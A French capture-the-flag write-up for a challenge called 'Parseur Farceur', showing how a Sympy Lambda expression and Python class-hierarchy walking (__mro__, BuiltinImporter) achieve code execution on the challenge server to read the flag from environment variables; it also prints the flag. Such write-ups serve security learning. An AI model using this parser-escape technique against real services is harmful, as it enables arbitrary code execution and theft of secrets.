Parseur Farceur
Flag: CYBN{Wh@t_A_cRAzy_PaRS3r}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Il fallait passer par une des fonctions de Sympy, ici je suis passé par Lambda. Elle permet d'appliquer une fonction à un Symbol. On peut donc détourner le Symbol eécuter du code arbitraire :
Lambda(x, x.func)
De là, on utilise la même démarche que dans les pyjail pour remonter les objets jusqu'à importer les modules que l'on veut avec le module BuiltinImporter.
Remote Code Execution
Ici, je vais détailler comment on arrive au payload final pour comprendre le principe, mais on peut juste copié-collé un payload tout fait et l'adapter.
On commence par chercher la classe object en local :
from sympy import Lambda, Symbol
x = Symbol('x')
Lambda(x, x.func.__class__.__mro__[1])
# sympy.core.sympify.SympifyError: Sympify of expression 'could not parse "<class 'object'>"' failedMaintenant qu'on a le début de notre payload qui permet d'obtenir la classe object, on peut retourner sur le site et l'envoyer pour récupérer toutes les classes définies (puisqu'elles héritent toutes d'elle) :

On cherche dans ce grand tableau notre classe BuiltinImporter :
a = """<class 'type'>, <class 'async_generator'>, <cla...""".split(', ')
[(i, a[i]) for i in range(len(a)) if 'Importer' in a[i]]
# [(120, "<class '_frozen_importlib.BuiltinImporter'>"), (121, "<class '_frozen_importlib.FrozenImporter'>")]De là, on peut charger n'importe quelle librairie :

Le flag est dans les variables d'environnement.
Mis à jour
Ce contenu vous a-t-il été utile ?